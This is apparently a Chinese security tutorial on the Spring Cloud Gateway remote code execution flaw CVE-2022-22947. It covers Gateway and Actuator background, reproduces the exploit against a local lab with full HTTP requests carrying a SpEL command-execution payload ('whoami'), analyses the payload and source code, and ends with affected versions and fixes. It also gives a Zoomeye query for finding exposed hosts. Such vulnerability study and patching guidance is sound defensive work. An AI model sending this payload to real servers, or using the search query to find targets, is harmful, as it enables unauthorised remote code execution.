目录
前言
当 Spring Cloud Gateway 启用和暴露 Gateway Actuator 端点时,使用 Spring Cloud Gateway 的应用程序可受到代码注入攻击。攻击者可以发送特制的恶意请求,从而远程执行任意代码
基本介绍
Spring Cloud Gateway 远程代码执行漏洞(CVE-2022-22947)
Spring Cloud Gateway 是基于 Spring Framework 和 Spring Boot 构建的网关,它旨在为微服务架构提供一种简单、有效、统一的 API 路由管理方式
当启用或暴露不安全的 Gateway Actuator 端点时,使用 Spring Cloud Gateway 的应用程序容易受到代码注入攻击,远程攻击者可以通过发送恶意请求以执行 SpEL 表达式,从而在目标上执行任意恶意代码,获取系统权限
微服务架构与Spring Cloud
随着互联网时代的崛起,我们的生活变得越来越方便,这一切都离不开网络服务。如果手机支付、铁路出行、外卖平台、银行app等如果出现问题,那么对我们生活的影响是巨大的。那么这些服务为何如此坚挺,这一切都离不开软件开发的微服务架构
它通过将应用程序拆分成多个小型服务,每个服务都运行在独立的进程中,并且能够独立地被部署和扩展,从而提高了系统的可伸缩性和可靠性。而Spring Cloud正是为实现微服务架构的一系列框架的有机集合
Spring框架作为Java生态系统中最流行的开发框架之一,推出了Spring Boot和Spring Cloud这两个项目,Spring Cloud 是基于Spring Boot构建的,Spring Boot旨在简化单个Spring应用程序的开发和部署,而Spring Cloud则专注于构建和管理分布式系统中的各种微服务
Spring Cloud生态
官网:Spring Cloud
下面的应用都是基于Spring cloud 开发的组件,有国外的也有国内的
-
lEureka、Ribbon、OpenFeign、Hystrix、 Config、Zuul
-
Consul、Gateway、Bus、Stream、Sleuth、 zipkin
-
Nacos、Sentinel、Seata
网关作用与解决方案
网关作为微服务的门户,也是其最重要的功能之一,它直接决定了应用的安全性
网关的作用:
-
智能路由
-
负载均衡
-
协议转换
-
权限校验
-
限流熔断
-
黑白名单
-
API监控
-
日志审计
解决方案:
-
Netflix Zuul
-
Spring Cloud Gateway(到我们今天的主角登场了)
-
Kong
-
Nginx+Lua
Spring Cloud Gateway
使用
Spring Cloud Gateway做为Spring Cloud项目的网关,使用起来非常简单,只需要引用以下代码即可
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-starter-gateway</artifactId>
</dependency>
概念
-
路由(Route)
-
断言(Predicate)
-
过滤器(Filter)
Spring Boot Actuator
Spring Boot Actuator 是Spring boot项目的监控模块,它提供了生产级别的功能,比如健康检查,审计,指标收集,HTTP 跟踪等,帮助我们监控和管理Spring Boot 应用
Actuator功能
-
健康检查
-
审计
-
统计
-
HTTP追踪
Actuator使用
同样只需要在配置文件中引入下面代码即可使用 Actuator 模块
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-actuator</artifactId>
</dependency>
</dependencies>
Gateway和Actuator集成
前面我们介绍了cloud getway和actuator,二者都是Spring项目中重要模块,Gateway为网关服务,Actuator是监控组件,使用Spring开发项目 ,我们只需要在pom文件(配置文件)中引入下面代码就可以使得项目同时拥有这两个功能
management.endpoint.gateway.enabled=true
management.endpoints.web.exposure.include=gateway
Actuator 操作 Gateway 接口列表
我们修改访问地址的 id 即可通过 actuator 来操作 getway http://host:port/actuator/gateway/id
id | HTTP Method | 描述 |
---|---|---|
globalfilters | GET | 返回全局Filter列表 |
routefilters | GET | 每个路由的filter |
routes | GET | 路由列表 |
routes/{id} | GET | 指定路由的信息 |
routes/{id} | POST | 创建路由 |
refresh | POST | 刷新路由缓存 |
routes/{id} | DELETE | 删除路由 |
添加路由 POST Body
实际上就是增加了一个过滤器
{ "id": "wuyaaq", "filters": [{ "name": "AddResponseHeader",名字为AddResponseHeader "name": "Result", "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T (java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}" } }], "uri": "http://example.com" }
漏洞复现
利用流程分为4部分
1、启动Spring Cloud Gateway服务
2、添加过滤器(POST)
3、刷新过滤器(POST)
4、访问过滤器ID(GET)
启动服务方式
1、本地工程
2、vulhub - docker compose启动
3、vulfocus.io注册账号
4、其他自研靶场
添加过滤器
POST /actuator/gateway/routes/hacktest HTTP/1.1 Host: localhost:9000 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close Content-Type: application/json Content-Length: 32 { "id": "wuyaaq", "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}" } }], "uri": "http://example.com" }
刷新过滤器
POST /actuator/gateway/refresh HTTP/1.1 Host: localhost:9000 Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Connection: keep-alive Content-Length: 3 Content-Type: application/x-www-form-urlencoded Origin: null Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: cross-site Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0 a=1
访问过滤器ID
GET /actuator/gateway/routes/hacktest HTTP/1.1 Host: localhost:9000 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: none Sec-Fetch-User: ?1
原理分析
反思
为什么添加过滤器(路由)会导致代码执行?
通过 /gateway/routes/{id_route_to_create} 来添加一个路由,再通过 /actuator/gateway/refresh 刷新路由,当路由带有恶意的Filter,里面的 SpEL 表达式会被执行
SpEL表达式
Spring 3 开始引入了 Spring 表达式语言,它能够以一种强大而简洁的方式将值装配到 Bean 属性和构造器参数中,在这个过程中所使用的表达式会在运行时计算得到值,使用 SpEL 可以实现超乎想象的装配效果,这是其他装配技术很难做到的。它包含了很多特性
# 使用bean的ID来引用bean; # 调用方法和访问对象的属性; # 对值进行算术、关系和逻辑运算; # 正则表达式匹配; # 集合操作;
利用流程
1、开启Acutator,可以通过接口列出路由(包括过 滤器),如:/actuator/gateway/routes
2、可以通过/gateway/routes/{id_route_to_create} 创建路由
3、通过/actuator/gateway/refresh刷新路由
4、当路由带有恶意的Filter,里面的spEL表达式会被执行
payload分析
#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}
- new String[]{\"whoami\"}:创建一个字符串 whoami
- T(java.lang.Runtime).getRuntime().exec():java语言中执行代码的必要格式
- getInputStream():返回执行的结果
- T(org.springframework.util.StreamUtils).copyToByteArray():把结果转化为字节数组
- new String():将结果转换为字符串
- #{}:SpEL表达式
源码分析
通过源码进行代码审计分析,发现在下面类中执行
1、ConfigurationService类
normalizeProperties()对参数(value就是参数)进行处理,它会调用normalize的方法
2、ShortcutConfigurable类
它会调用getValue()方法,我们继续跟下去
3、ShortcutConfigurable类
Expression会对spEL表达式进行处理,得到这个表达式,然后从cotext里面拿到值
扫描与修复
框架漏洞比较容易处理,更新至最新版本即可,当然最好还是选择购买安全设备
影响范围
Spring Cloud Gateway < 3.1.1 Spring Cloud Gateway < 3.0.7
搜索引擎语法
Zoomeye:app="vmware-SpringBoot-framework"
批量检测
scan.py,网络上有许多别人写的自动化利用的工具,需要的时候我们可以利用
修复
1、更新升级 Spring Cloud Gateway 到以下安全版本:
Spring Cloud Gateway >=3.1.1
Spring Cloud Gateway >=3.0.7
2、或在不考虑影响业务的情况下禁用 Actuator 接口
management.endpoint.gateway.enable:false